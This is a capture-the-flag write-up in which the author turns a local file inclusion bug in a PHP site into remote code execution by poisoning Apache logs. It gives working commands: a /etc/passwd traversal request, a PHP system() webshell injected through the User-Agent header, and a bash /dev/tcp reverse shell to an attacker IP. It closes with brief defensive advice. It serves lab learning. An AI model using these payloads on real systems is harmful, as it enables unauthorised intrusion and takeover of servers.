Okay so this one genuinely made me do a double take. I was expecting a rabbit hole, maybe a dead end or two, the usual CTF experience. Instead the box basically walked me straight into RCE once I stopped being lazy and actually checked what files Apache was writing to. Let me walk through how it went.
First look at the app
Popped the IP in the browser and was greeted with what looked like a pretty standard PHP portfolio site. Nothing exciting on the surface. I fired off nmap while I was clicking around — just the usual:
nmap -sV -sC -p- target.htb
Only port 80 open. The thing that caught my eye immediately was the URL structure.
Every page loaded as index.php?page=about, index.php?page=contact
and so on. That kind of routing always makes me want to poke at it.
Smells like whoever built this is just include()-ing the value directly.
Poking at the page parameter
I started manually trying path traversal. The first few attempts returned nothing —
blank page, no error, which actually told me something was being included but maybe
PHP was silently failing. I switched to the classic /etc/passwd test:
GET /index.php?page=../../../../etc/passwd HTTP/1.1
Host: target.htb
And there it was. Full /etc/passwd dumped right into the page response.
Beautiful. Honestly I sat there for a second because sometimes you expect these things
to be filtered and they just... aren't.
At this point I had confirmed LFI but I needed to turn it into something useful.
The usual tricks — PHP filter wrappers, log files, proc/self/environ — I started
working through the list. /proc/self/environ was a dead end, no output.
PHP expect wrapper? Disabled. I was starting to think this might just stay as a
read-only LFI when I checked Apache logs.
GET /index.php?page=../../../../var/log/apache2/access.log HTTP/1.1
Log file was readable. And I could see my own previous requests sitting in there — including the User-Agent strings. That's when it clicked.
Poisoning the log
The idea is simple once you see it. Apache writes your User-Agent into the access log exactly as you send it. If you send PHP code as your User-Agent, Apache faithfully logs it. Then when you include the log file via LFI, PHP parses and executes it. You've basically tricked the server into running your code through its own logs.
I sent the payload using curl — BurpSuite would've worked too but I was already in the terminal:
# Step 1: Inject PHP into the log via User-Agent
curl -s "http://target.htb/" -A '<?php system($_GET["cmd"]); ?>'
Then triggered execution by including the log and passing a command:
# Step 2: Execute commands through the LFI
curl "http://target.htb/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
The response came back with uid=33(www-data) sitting right there in the
page. At this point I actually said something out loud to nobody in particular.
Webshell confirmed.
Getting a proper shell
A webshell through curl params is fine but annoying to work with. I set up a listener
and URL-encoded a bash reverse shell to send through the cmd parameter:
# Listener on your machine
nc -lvnp 4444
# Payload (URL encode this before sending)
bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'
One thing I messed up the first time — I forgot to URL-encode the &
in the reverse shell payload, so the request got cut off at the ampersand and I got
nothing. Sent it through Burp Repeater after encoding it properly and the shell
came through clean.
From there, quick privesc check — sudo -l showed a misconfigured binary
running as root and it was over in five minutes. But that's a story for another post.
Why this works (and when it doesn't)
Log poisoning relies on two things lining up. The LFI has to be able to reach the log file path — which means the web process needs read access to it, something that's often true on default Apache installs. And Apache (or nginx, or whatever) needs to be logging attacker-controlled input verbatim, which again — default behaviour.
This specific chain breaks if logs are outside the webroot traversal range, if the PHP process runs as a separate low-privilege user without log access, or if the server uses log rotation that clears the file before you include it. In this box, none of that was the case.
From a defence perspective — never let your application include arbitrary paths based on user input, obviously. But also make sure your web server logs aren't readable by the application user. Least privilege goes a long way here.
This was a genuinely satisfying chain to pull off because each step is so logical in hindsight. LFI alone is limited. But give it a writable (well, a readable-and-poisonable) log file and suddenly you've got full execution. Keep that in mind next time you're staring at a file include param and thinking "this is probably nothing."